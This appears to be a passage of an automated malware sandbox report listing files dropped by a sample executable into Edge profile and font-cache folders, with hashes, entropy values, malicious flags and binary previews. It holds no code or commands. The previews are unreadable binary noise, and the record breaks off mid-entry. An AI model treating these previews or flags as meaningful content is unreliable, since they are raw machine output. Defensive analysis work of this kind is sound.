SSDEEP:	12:SBv8hwWqV54n6/BdaELsXaAYfp1gQ4LfWHCwnVS2cii9a:Q0FqAnmLLs6fpyQ2ubtbD
MD5:	85D2FC1790EBF90487E7291B5B102912
SHA1:	16F26F21E7045DD9EE6A72B712676F94C6560C8D
SHA-256:	1280A6E091027CF35365ECFA3C6AD1738DA83E47D720F19B78B8827D3295A182
SHA-512:	24FB73AA0554F320FBFEE741F6DF0B560D5266CC6D1C2C58F89E5E61D5DB66FE5EF9AB1EEF265518F320A5B53073AA2205FCFBDEC0755A267C234F74A7EA960B
Malicious:	false
Preview:	...#.y...uVgw...[D.=.s.b.P.r...A......aP..<...5..R.....c..W....Bk..."...t....RA.8{2.n....4hM.+..2gw.h\|.<.........t?...s.3.0..N..z..c......O....I}...^..I.A...._S.aU.5..?u......c#...1K.G.tQ..X]..."...?...]-..YKr.;\...-.5Y.. ......F.........f.[....G....Z(>s.!......6..E%..&...V.]Rq.o.s.z..b....M(wK..+.B9...+,....x`.K..o..0\....\jo.#....`.v.N.i.'.3..mX.l....l..NU./IX#.v.Ka...\`.5.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.396943525703124
Encrypted:	false
SSDEEP:	6:m13lTh3fbi5LksmgCp/IJsZTGUUFpdrGrSHRSkdrsocQI5GkwXRBfBqyfFGgFm8R:CL4kHgCp/dTGNFpsKtsoc5IRBf/FGgSw
MD5:	945C59BECAE08E15B23BD9AB2888DB7A
SHA1:	CBC30F4B5303C7F17DE727A31B6659E874802A1D
SHA-256:	E6D669601BE512C2E179A082E7747969637B26657EDBD6A584B50DACC7DBD99B
SHA-512:	7EC42325C2BBE495213A92E2AF3C2636846E825D53D40732C210D9A6AEB8F215E8F7290A40E626C418EF85D925A14A42E787A171630159E8EE6D324994E9DE30
Malicious:	false
Preview:	.On.!......<.EE...,.KK._...#_..HC...........N...4........./......K.5.~".B....%Y.s/....=.M....K...=.......\......9.^S_E-15.hj+.C...s.}Wd.a..'@Qpa..G....h.F...E{.j...U{..T.B\.F*..i......H)...r[....;...5.....P..f...l...I...6.........R.......z.........y...h..'.K.........n....a..^.....XLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.683977563817845
Encrypted:	false
SSDEEP:	12:kAY7a/TUj7OFyAVi9hAUhXFa7n9eQhfqMo6T1oOQP9AMO9CS2cii9a:fIE67OFyAVahAmSUQdqQqTO4bD
MD5:	4B7D0D8245884FA3942438EA3A10B54A
SHA1:	DE08244AFEA8BF349DE3215F746E62B062DC89B4
SHA-256:	73E23BD9D7C96595387F54FA07D87935E2700EAE00938419B073F1D3B61575D5
SHA-512:	9C77F9255B4058FF9003A2F45CBF27040DC6479AA8F8DA1355CA2E6B75DDA73BEFDE731BA1B056436D968CB0A453B7774AE848B082D2B3C597C602CE7CDF9154
Malicious:	false
Preview:	2023/..Y\|...Z.....-.SV../R..R`.$..?.7..(U4>z.'O...*..\#\...u.._e.Y._.g.....$.X6....f.`.&3$...fv2\|....n.h...f...../)..)m.Yx.5X.v....;Jg..y....Z.L..jY2C.k`?.`..`.N./..%./j..-.-...b..x..+.q.r...x:.-.$.{.D.]$.i.D[.k....i...@....`IK...AB^\;B..N.a~...O.G2...........2O...DTJ....A..s.H.jq.XM...i.M\|.....T.1.?`.....~.....e.z..j~.f..._.;....u.d.L.ho>.d...HN..qS........?f..c......P..Eu.G.c.U.)c$...w...O..{..g.Y..6.+....&..>..c..wp.8\|..^...e.A.....XSD.+/..).....N".k=....c.........A.+.i..3...).]....9...B....&..s...4....A...e.....l.<t..:P.{n....F{Z.....se..i...2..}L....k..M....)LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.411659272407864
Encrypted:	false
SSDEEP:	12:SQXeWiIGYmME3FXwJi1JSeAi2vnM7xTM0jxS2cii9a:HOTYRE3y81bj2vMFDtbD
MD5:	93CA879AD8D7B58CB10C1694FA6B82D8
SHA1:	7EB66C284EE236AF961DBC8A6C60E45D1CB159A1
SHA-256:	82E206BC935EBB9470DFEBE0147AEBFCC46BDFCD740776F2DDE71642E894108F
SHA-512:	531578685F55D82F3A6EB595819C58085A76F4CE24C8927A787706323892C316B053DE38BDA8E98E74F02D416F7741ACF1334EFAC681AE7063FB41813F2E9D7E
Malicious:	false
Preview:	*...#..o.k....P.Z$4#ebo........P..S.^P.D-L.m%:o.......G5u....zg./..p.V...n.$.l.wg......6W."...w7...m..v.k....q.l...p..l..h...f......`..)....YR^]..>"n(s.U..L..!...r2...b..VaE+..l6..=.M.y...:P`.dQ.C......azR.H..u;12$G..:...../)K.]p...t...\.......zS...8.q..&..\|..GV.......>.x.o.g.$(O...~.......{...;.ILQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998516884756106
Encrypted:	true
SSDEEP:	3072:SWAYEzAhQE3QcdaCXRmAre4PVKFt+lkCloZdVmJ0y1NXYe:SWEUuUxX+4dK3rFcNXYe
MD5:	BE856D5CCB1627F24120A9C1F54649D2
SHA1:	0D427917F6A5FE4165F2C2352962B9B26638B0BB
SHA-256:	75BEF85ABAF61CF95544098ACF24AA39205314E8101B38C7B7A2E21DCED238CB
SHA-512:	92D29C333581EA83B68FC9B38DA568BF74FD0B7CD7D36F882E9DB8F5C67928B29B1EA96ED550E866BE055EEE3360C1E6F370A8AA095C73E0B504BFE3588AE8CC
Malicious:	true
Preview:	{.. k...0{(@.+i......!.{....u\.......!\.?.=...)T@...P@X'.:.&D&....~....#W..i.....5....YR`_b.=4....^....r.hUy....#.r....f.0_...}.NZ(....X..Mi..qJ.<....5..f.z..I......O.........}..F_9....6..u.R...T..:.C.......i.E....W..]....L..c....k^.Lvze..N.<{....."B.\...E...-..[.....9A...O0._>.}r.H.Z@...s..@.G...M..Hk..,.Y.J.a.$..H.(...;.3J....h.mJ+.7........EkTz....&.PGlU.d.....f8......xB\|.t"y.........p.P...r....RI.E_m....GH.;\|.e..04...........n....#.....f....%....\...Z\|=..L&!...$..~y.T".1..,^.'.....L..i.n.Us.b..........O.......?_.).N..f.!..._.....%.}.._..@......0j`...f.J.i.).&......H4:.:....9..A...4\|..Dn..d...@.`b...C.:....../.a(y%>.^.......it..I......L.l...(3....j..>kO...[....(..v.w..c(<.5n.....q.s..@D..p>......w!.l9...yk.Z.Gs..%..O.L>.....9..\...E..$7.F..m.....G..3lV.7(\|..Z...d.tr...0....6 2...Ot../.6k..C.f..w.ID.'...?.......P...E........V..B..qt...<.26=)Ms..?-.5.V.....@....M8....fRp....`_.B...a5...._iO}..\|R#,..&d>...@..L......!......dD.

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978216187611818
Encrypted:	false
SSDEEP:	3072:rHy+9io1Wcq4h6kORzXix3mWJsvs1E1bQOwRUF5bHVHqZ:rHNxcHtzXyWWJC1bQOOWI
MD5:	E3D6A6752C6DE90DBB32E0549247A3DC
SHA1:	62484244FD00EEA7493720A84976396B515829E3
SHA-256:	31EA128BDE1A30824394DC1A849818D57EDE6324D7CC28C8F5EC1BF1C18D8A9E
SHA-512:	836EBB0613AF09A56D9ACBC42D5DD072F1C0933A52A1152138B903B6D3874CA20D2A7E40F9F22F0CFA4E0DC4CCE79F8B1CF6C638196304CEC8B99532D1800472
Malicious:	false
Preview:	{"Maj..1.?.>k....NP..0.U2...Z.=G...z~...R<....`B.............O..@..W...&. x....w.@5.t........ .P.......x..n..T.e.6...r&...D..v;r).0.....j..;.Ap.\1.... ..A.i..G.....q1maF..W/..}-.T'.2..A!...1.@....4..1...f...58.<-a.v.=.N%.........S.Y].[e4.ag...%..f...\x..(A......_.[.7....&...%.1...&......\.^.....3#V>q.ffmc.Jl..+_.)....?..GX.G_....4F.g.#.(n...r....7bh...<.{.8Q.l.1.....6..ge..\bMJ4.P.....,...A.>^.N13..#...p..........('..yc....Fyc.!.l.~...EE^'YPvy..`._.0W.g.....~.E..t.aM.H:...&.t....I\|F@..NUc.+K#v....Jd.S.$Bw........t..KG.[xi.5..9..N...*.['.4V..z.9..3.u.O..s.~.H.{...;._..2HG-<..`/../.j...G..gdq.+.^.+.9)..... ..d...l%..3>.V..~.i$.)....q..Q.?Io8.R1..5E..2\#.......f..I@...Z^0{..].$..C.s.Vnn.S....J.so\|=...e..g..2....~X... .V ...#.w...p..N.q....&...E...>../.x4Q.1w..u..=.f...~..^.@(.....4.M.a.W$.6..i.8JE....~dt..l....sW_..+r.....K....,.D/..k;.6.p,..sJN..J..%y..x...?by.H...l.:..%K.{..$.`....`z.E...L...a4...%0A.I1..V.a\.S9......r.ip@0.`j+...OP#7..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.90767699762289
Encrypted:	false
SSDEEP:	48:bb8JjH4Oe7Ld2RU0t9K7L+em1dCrnfTgUuklGkm1WGCD:0hY/3d6N9K3nACrnfZu3kh
MD5:	AD2FE6D1FAD95D9AD70E9188C4180A24
SHA1:	F52C81698FE886C005ECDB057B1312881AF7B50F
SHA-256:	C15CE9A692D4A66A4D6A27CAC061C2E97392BFC02271C4D2290E7A735DC9E7B9
SHA-512:	928CD323FAAA7C89FFB29A477411294D8A4D2047AA0BF6F42338CBB0DA0A627C7E90228EE333FC9131FD4F57C14FF1DB2D6D22CF2A0909FC215454E2D0580A00
Malicious:	false
Preview:	<?xml..5.x..T.PG.@\|q6......v#..^..#.J.1....%..7..7.b.............b:..+.M.a.C....1...-.WA..$..!+.w.G....:.....p;.X.a...4..\|S>.j}Za$..3j..M\$.:z..iC2.%...VO..?....!.N..e...pM.,._4.`...9...>..-..F..<.+..>JK{Nk9...r....]wf......z..t0$%E%.f..8x.8&..v3.0G\..h.. M...E.F.Gs..e)B...4Zj....lX!.._]....[(.S....e.~......... /t.bo...'..v ...,?.'.....t.&;...r...O...8...\|U~8[.2..Z..x...F..^.:I:..UX.\.......}^;..uX....%.......L.......U`..Z.eVR.P7N.LY.....J..A.d.L...G.a^Q..Z\|..v.G.w.@.V..HQO.;.iU.-..}n..}I/..LM3.....z.2_.....U..>_.R@......4..=...Pm.mZ..(.....?..ls.x@..c.Y%...g:.^..djq.A^.k........(j....$......{...0.$...u....&lG..U.3;..A....w....:..0w.\|..(.q.c......~.B.......c..<.....M .=..y.;...-....r(\..D.S...o.dW.f...4.4...0...k["..?h@^..."...7....`..W.........d.n....\|D..1..MJ...q./l..!I.{...g..LX..2....g.5.7..5B.>......KFi.<.....s...j...%..V: .T.n...x$ ._.p%. .I=%.p.s?.(}E..LC..D....n.....T..6......h..9.:......ROh..."..f....w3...e..6t.Lr.....7

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.233537973863383
Encrypted:	false
SSDEEP:	6144:0bCFlOBIwEv3/+c74emFsu/ga2kzAaa/dIDiAm:02jOBLEf/+cKoa2JIDLm
MD5:	5F9638AF3676D0E6169EC0A379FE80ED
SHA1:	E65D13475C268C51A52BC5013ED1495F7FE571F5
SHA-256:	E08DC98125A85362913A068042853DE306D14D84600422EA5AB4453957570AF4
SHA-512:	2BDA514785A2BD323BD525FB8F4B8E41895BDE4A5891BDEFF59E25A9310BB3A3F8FB5527600070BAEC7F38241A29B08643CCD989E88F9BB568CDF5F6BF8B028C
Malicious:	false
Preview:	......w...n......=..)}N3..-..L..oX..m......"hy...)...1.B...J.b...b.qv..cbm<6....M'.8.k...........O.....#.y1.&...3y..rI...M.<.S......R...F0A/...e."1..y..,..3.".GH..yt!.J.._Qr.?....h..3..b.O.P...W.#S.8....I\|.V..~"e.k........:s..Z.Z......H.#......'.%..P....5{.6]4.!P.Ff..{.o.nl....S.Ku..[\.R.K.;o...cy.i....[...~}.=E..W.E.,C!.b....@....Q.J..+>b.F......+..d.d........A6.s8....p...23..+o}.e..Ha....o...u.6..;.....d.....]......m...O...m.yo.3..-..$.AFJ.W........`.W....J....?..uS.....`.....M.b..pDz.Z...p..o.M...... ^H.2$...Y......j.}y.....lK..h..p....9.F..?.,..z ...~>..p..........G....I\..a...(L.........$hW..G-.qO...zk..&g?.j%8:."o.np.g.....y.K.pV...".J.Y...<.xc9Q..?.....).=..`&.NO..L.a...~..P..a.>.Z?......PTp..\..?Z....Q(.c^..8..3/ hx..."oi...e.yN..='c.I.5iP..U...y..F.(.5...0J..w..p7.:....{....\|Kh...$..2.@a'...:.>4.z....#nu~...6.rc().Bo..SXT\|...O......]..8.'....M....ls.^Y...w...k..D..p...v...l2...A.1R.f.uS\5s......3...t.....y..Z.......

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.263440610380577
Encrypted:	false
SSDEEP:	6144:bKlMb9eiO1wo+JaUavWC2xuvI8iEeo3+YusEps:NJeZd+mvesV9CK
MD5:	6D56EDF15B199AB707DB067DEED62955
SHA1:	6470750ABBAC739854BC7A2F8AB0EFE3E3CDC30F
SHA-256:	EC3494FEB7B4B0B86D47F4DED1EBD027F35AA7CD5A6CC5ACB84F708FDF831AD7
SHA-512:	BEF22B193352A4D3FE5AA3018EBAE26D76BD9E307AA67DD2E0B295639CECE2C2267318DF5F6AF3669A1697008571526B3CC5ECF3BF0AD756218344403D1C24EE
Malicious:	false
Preview:	.....3.;y...u\|.'@.>....f..O..y.P.&....#;.j..0`d ...2>.le......]..}.C.._..k..d...[Y<.... ...R....D&.z..SJ.Z...#/WO.I.6.G0...}...vhW.....9...2`G....T..}.w.>..\|..&...2.(@..g......U.l.3pn...0....9:H.07..\;.AQ..J..!>...\...a.9i...~. h....<..7y$.I..O~....`D[..z...i.g0.._...4......'G.feV......&..=..szLl........AB1._I... G.a7.o4.....x.a.S.#4.}@.Q....R2.p...MyM.s...~..L..&...g.,A..-/..[V...H]l....vo.../.3ta.Z.$.Du..KW.\|4.4.j..o...e...]m... =....h.Aln/[.?r.......r.a.g+..D..&D..6u...3..uWgO...^P..az.7.1.&.. .o.S.......JLy..y.-1c..oEw5......h8E....".>.K..L.I..-{. ?.....n....<JQ..R).`.!.."......V<...].[....:rXd....5...Cr.Q.,P...s!..TI.~..2x.n..v...G...~.@.T......E}..:7=.F.2.x.H..b...V....Mx....a.U..K6........h{z.....-.......N..../P..Q.i....\|.#...,.\[c!.=.Zs..zG..Ux.B.+...S`..C..{....Z.._B.cA:..a.e..\j..w..6..#s.K..n3M-jM.\|..q.*....2<.........7........L....g.......1...!\|o........l]..-N..\.\7...H-...#{.m...c.`m..I...O^v.V..:kV#.....&.....D...F.%.LG.<.f.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.257440546878492
Encrypted:	false
SSDEEP:	6144:78gjNir23YtpT0AWMp6vSZstdYcDBBssWSvq2V:7Fia3O4ALDZUCcBZn
MD5:	D0329E415D0C825784AF0F22726482E1
SHA1:	95CB1D0E5F2B31055A95E871BBE68AD320950D6A
SHA-256:	2CFA0C120D1FDD2F6693E54BA403900DDCC6D98AD5E64E7D67B182E7C10A94E8
SHA-512:	3196927392536F9D047371E3665BC5B02B7E330E445AA625C686A5C5E8984CFACD3D79098ED74007AB7EB7D015D5A12683A92E1C409403677ADE61EF4AD4ADEA
Malicious:	false
Preview:	......:.X..B.l\.t.?q..R.....&9.x.Id].....L.tc...0.#...M.....pX.T..:.K.C....=.ok...].!..._/o...u..N.C....s.-....R.....}.Gi.....K.5QJ=\|&.W...Vl.i..>a.QD..a#Z.(....f..\|..Y....R.).Ho...d}.~..:.%......s=A;.Lj.w.[..T..&...=I$..x\.H.b. ,....... .F.z...i..)..(......QsL.h.i.x......\|0.....U...".Y..iE..e_.P^.c.BnD..G...i..]..@.........D.:.?f.gN.P..B..U.c#z...-.......W..Q....P.)-..."}..s:.T._..:....2b..]r...l.A..K....9.V\...'(?7=.d<i......c."S....71.`.z...O..O/.g.~.h.V..t..0.(.O..K..cP...$v=y.y`.....p....b'\...f..C...5../w..{QP.......e7..:aHe%..D.....>..N0NH8...BR..y%.....Z}......z.~..z..0~'].,@L....F.UXW..".{p2...7...m....Q........$...~....d..T.o.y.3..8....k..T..r.....A&./....F:X.YB...".^kd@..iQx.WR[.g\|......(.w....K.`!....0^+..}.?......3f]4).:Z_Uw..y..XOk..6.[.{y,\|...%...'.&...j.r....H....-.E...-B.j]k..."B..i.S.dV.............H.W.Rxd?\|.O^.N....%..A7V....1..d.iD.\..NZ:.3.;...g.t......}.'KS4..</.8[F..S`Y...yG'o...m...h...U........?.4.++....5

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.232433443957369
Encrypted:	false
SSDEEP:	3072:Q1lXwm8iQBkkKggOn0UWbZAmUsDHwtn2aGnZpQNgcom1uUMPxBvdbVp+AxHvxbkS:ElXweFg90USAmUkQFTwVPxBvdb/tDpAS
MD5:	DE18753BD938B053FE4ED51820F8A39F
SHA1:	2FD089DC8EE12B5402BE797F04CA0A116822455E
SHA-256:	6C719660AE8E01F36913A8D003BC9BD06CEF5CA1C7B4E85EE999499E955FA373
SHA-512:	5141794D99A1179552562606031F9EEE242F3D1738E56A9E91F5666C433D2D0A10D15DF27C95DA8369EBD240D24ADB206C2E6AFD888CECFDCE924B19F5E6600E
Malicious:	false
Preview:	.....f....Tc....mQ~QS%s..D..g.x.l.s..`....sG...f..1..L7zz.B,..y..jA....T....%..3..KH]~.. ."..>d..h..9c.........~....l-.q"g..0..a8^.].g...O. ...M.^.W...T.r..t..F.Z.z.....&.R.._L..3.9....j..(Sb..?.w.^.U.....I.ld.....H..i.?.....k.....yV.1...ri...\..N.....U.....Ww50..b;.].H~.`\|8/..1 d...~..q.0.bp..S.+c.C$._b.'Q....Zk.'.t...R....J.?....O.....B..~....C=h!f........;.Z>...-.-(......F&......i......d^g..?F............J8...F...5..zF.e....m(.o.~.._\|...;%KE[....j.M..(..+.f...gE.Y.......M...~b..YZ@N...^.l..e.cH..-=.....@R.....y....r..vm.. .?...j..!EW\-.n.`....9.6I.K...<...0.AT=8.........e....z.XtL.......P.7.......#Bc,.v.#..i.S.#'R....=.....9...).....J".....T.s[T.6..;....../..k...~.R}.^v.mc;.&J....*]....7.@.u.FA._0.3........e...m.E.4..../.!...V(..5...uv.5@5...$..KvY.t.:.z.gY........a>..gi).....d0. .[.2..K..F7...`..B...I.K@...9...e.K..u7..1......_.....6..F.{\|.5X'g.....C...DZ..,...R......N._.5.6....2+ y...!...eV..\..".}3.C..e.a.7.....m...G....:._.1GH^...{N..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.239794985356359
Encrypted:	false
SSDEEP:	3072:0LmYzFqJpWeTad3UkTRsyulQL1XvxAMcsqfyL6VzsER8L5VNVsQ9SM4RocB:0qLWemBUkN/kMnqKIsERSzsuV4icB
MD5:	D280EF4E47917D87A3A71361770DD8B1
SHA1:	D025D230920AAED62A93757219DD27685AAE157D
SHA-256:	E07E28C1DEEB0895E335AA62B2315044DCCCA8AF3E22800644317CC813B2F6DE
SHA-512:	2E32657BA9AF4583E8949F1FA6199E678FEDC58E5E0433DEB1282D94548C013C64A98E9036F1FADC8E117EA7D4E963F135069DCE12F37A5001448CAEBA173E39
Malicious:	false
Preview:	.....q0.......K.A.%.(9.(....?.....;.T.......Y.\.v..z@G..x.5..9LjS....l....`...(P....j.h..\..e...8Em........Wtz>.0..h?...!j..L.P.I.sj6.nr.N;IopD...[...k....zX....U...........aq...Js..(.6..q...F..%.[Z.E...B.\|..FN..Nn..Pn.j..Dh)..j.}I.5..{.....2...X.{..m......8..E.9.n....]s.v..X.N.....j.J`...=...z.A. Ew8...\|......$].l..)KP[.,..+.t..s{..IMo]2.p.I.hh....9..{...I....G1.5.yx)..Q.+).RU..]...bD..Mk...aY...[K.......L.`/R.i.y-h. eV.[>.......Q.&/..>}-MD.....(..e.k..h.}.z..t...vr...AM~........n..Ri.F<....<...>....[>..5..%.~.Z.5.M.L9..Dm}.......".5../..xZbB....]...r...,/.-X..-...M.B...e}.j ..f..h..).]+Y...=.f...Z.p._^.}."Q..SE.?../.2..p....xTQ@q?.......Q.A..`.+tY.h.\|.....$. ..K.\.]...5:.$...0.2.GD.+/.....p(0....,..w....K...x..P.A.3\..i.K.RM)..c.....n^h4N..\..;..Z....a`...r...F..y.2.\|.;.?Q..P..22.].Y6..6O..{.".. ..gy..gI.=....,)..C$.5.b..;K...5..e..B.....m.....g..Js.\|.yY..?....'..t... j..}...6-../Hq .!U.LTO^}A...Q...].;..m.I8.6.`>...u?.hG..=...W

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.259883633483032
Encrypted:	false
SSDEEP:	6144:mQjVQXUK39xhzOkDkcF7Qr0hIasMOphDtPcwB3:muVajDILr0hBgJtPc2
MD5:	1C19AE7253292FCE412BDFF05865BB72
SHA1:	FE2A351F65E28306CAC169D275957467823C54B6
SHA-256:	E1133E9C13F9A5A07144DC36B0FC4A6F6283FF67BEE8DD0933F04872ED5819B7
SHA-512:	E5E486EAEEC64E9497BE18F7CD3A257F8395114CE2B8CAC9F1EA2A049EBB8FD7E46329C76C0A628EB2953F1C8B3AA212A466CDA3BB855B8156C97F9F9DF46F5B
Malicious:	false
Preview:	.....Q=[.......H.e.J..........5..61.U..T}.x+...J=...(9tA...p5.,A..aFg.\.....\j..b.&....=u..!.CJ.U.....4.(..9......c)...K>.0[7.....,.Q.PF.......y.p.J?....cEB.C...1....QF.....0...`,".....Z.1.k...I..s.A@..K.e.t.H.q[.........;..,2J..$F.....3.b}{.lj..\...Ou.".U.y.......a..a....a..G(....C.g.q..Xh..?t......s. ....+U...t.0..+.}!......]e..a.g+._.........sO.,p...HU.!m. bIi.%y..Y&6...Z.g.Y"...M.c...a.~.Kf...0o.4.E.K8+Vh..........n.......?Oo..Q.'..X&.T.....x..p`X.A...Ev....q.i...q9..a.r..g....l%Cd=.....6.7..\.(.W...A.2.S#.L...chL.d.J..Zm..S1.$k....KB&Q.m.z.w...F.,%...x<Q..h....?.L_.WI.v..x.-HU.O...........C>:.....q.&+.1[....4O..T..?.!k.l...7..._O..S.......8.b{.Q....M~...$../m..p.........................w.ks..w....i2....R.....;......]J....a..A....q,..&usjMo...T6.VO.(s.E.x...~..E2.g..F..5g.$K..Q>T.... .b....5L.....2..\|..e..F.1.0......xh.ou..T.!..S..z....M..nI`!Y...UU..J..t..n.N.)..p..Z'...F...T.4...K.R3.....4*g.....O... .....H^;...'..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.2391940303470745
Encrypted:	false
SSDEEP:	3072:uG986VDYoNrNZESDs3ki1twkJhoTGvsi++JMRvG3LG3i+Xstie0nPKemKy1EAsPw:1DYopGPwkJ9vsr+JAvr3VXsk7XmdqjcZ
MD5:	75BFCE1CCE0508EC4F23A5FFA70FEF69
SHA1:	19149C95498E53474DFF27352A9AB3A7CF1C487C
SHA-256:	73E51758C4C8D6D431951AB9FA3C25FF203DD87F410D0A22A57A24E17D553971
SHA-512:	5105E02F87BE7803C6B39CEFAD201B8B4E3C573796E558FA2F85AD7CD3A05C921AC0E4BCD16CDB23E5EA57E645621601DAA9E2E61308B2EF45BDEA45BC8D9D7C
Malicious:	false
Preview:	......U.Z...E..R.@@.w..............d..b-..gT,...).d.9..6.l..Q....f._...H..'D..Y..~.-...,..Q..nM5....L..<].~rX..........El..Q......Z..cn+_q.p..ZcS6.........m..Pd...b..Nl.h.SP.xp.....>:.L'X..%I5.J.&..#"%.#=.....6.[9cT...f.8T....HR5Z]...p..=..#....(...6z:....#.b.~zN.uuW....V.:.p.]...._Ku.......B.....re. ..S....S.......a^.Nn.K...Y......o.'OO..Z...m"Q%]2.,.$G....D.W.y.O.&...o...Y.f.J^..b.b..66.......o....uLx.P...?.auT\|.m~..\|+...5..Lu'..e..Q......a.V.;.B..............+`+)%.....Z1....Ls.4f.Lu.9..S..O..a.w.`?.A.KUi.a(........yc...M..O.W....S.B...,..........z...a..Q^.Yi...wk..Q..^.g....l...#_+..\....D....h.L.y....(.......C..<i.....`.......=.?...pZ.S..Ast"....^.....d....z..U...suz....A.'...4V.y.rDU..6....V..7........3.+%..$U....~.....g.sf..+..Z9._..Rr".'.{a....~.....ho<.v,t...6.....i...+.....$2 }....>.-.SZ...........hH.."9...#.x-...a$.ymp4T;.5.\.......3.=.7k.O!..mB...v`>A.....C....9<....+.1..[..R....05.].....P...})....S.b.@..../.x!.mF

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.265231634170889
Encrypted:	false
SSDEEP:	6144:Q3cgIVhw/whqEBs0ZVWXvJ78+zQ6yqU/qEL:QsVjwIlZVWfxxxyR9L
MD5:	7EC21322BD9E3A7CA9F37BDB55258A0D
SHA1:	FA4D8BD27F21F03046664F57D8B6116B8F1D4BFF
SHA-256:	8414E059F3611B5D1CD5472F81D50C7FD067867FC1131020F9D25553A577DE78
SHA-512:	F502755AAD0462786997FC85C3851BB0657205D72A846B7BC83F27F03B9976720E5D3568E0EF954075EE4C3EC159B72238E100CCB9FE0338CEA203382B1D5312
Malicious:	false
Preview:	.....M.W.PB....\e...v..Y.P.z.E...Y.?.[m..m..1..:.p#.q....t.u.)).Q..C&...}....BbA...L0...t..p..T.l.....!H........9......Oe.XR.=....\|...\...7.m.#.^~........x..@m....]..G.....-.....fE..ic...2...NE-.g.....=.<vh,.......&..g<.;......\C...._..v.ad.U.l>.D........k.$.... ..n..5;.u..947.Kl.....e....UCl'd..J.VR...N..{T.!&.....dl=..M68H.ik.%.......he.0s.....f/.$.&.......+UA......<.A&-.S~..)..<..g......&..f.w.-m....&p$.!..p.~q...{.R.Y.L.:.tUp.D...W.....sl9Z )....1.#..3...!.e..?.....}S..". [.E...I=.-.]....C.....#...7...t...19..\|..........iSH....+..g...U...Ek..~..HX{j.....Q...b.}@..^....1sI....4..,T.;..~..;..`....).`h]..l.RqK..(.<4.....P....C.C.....G...1..M.L.%.&,C.h....\.Za;..+f.6..B....u+..&4W.@z......U..s.\[.]].'.0.g....$......7N.....nB.5..c.Y{~~xU6..2U...1?@U\|c+.....9.R1.?..F...I..p..kR...7...oy.....F..G1.p.....G/.pr?...g(e.+....31.<..}...Q......]..\.........o..)..7.....x..{....E..oFq..x.`.GJ.T.....d...o...<.Y..z].d..R%.z...k.....8..G.....!...G.m....x

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.233437621890062
Encrypted:	false
SSDEEP:	3072:k4peZ/LyDffA6kKvMUoL1LqElG7/7IQeEdOS5YNPvRt7sCnNhiQxvdbVpuyMiWAu:kvDyUnG7Tam9YNHsahiQxvdb/LIAu
MD5:	30913870B3AFEB77EB5C70E8A896968D
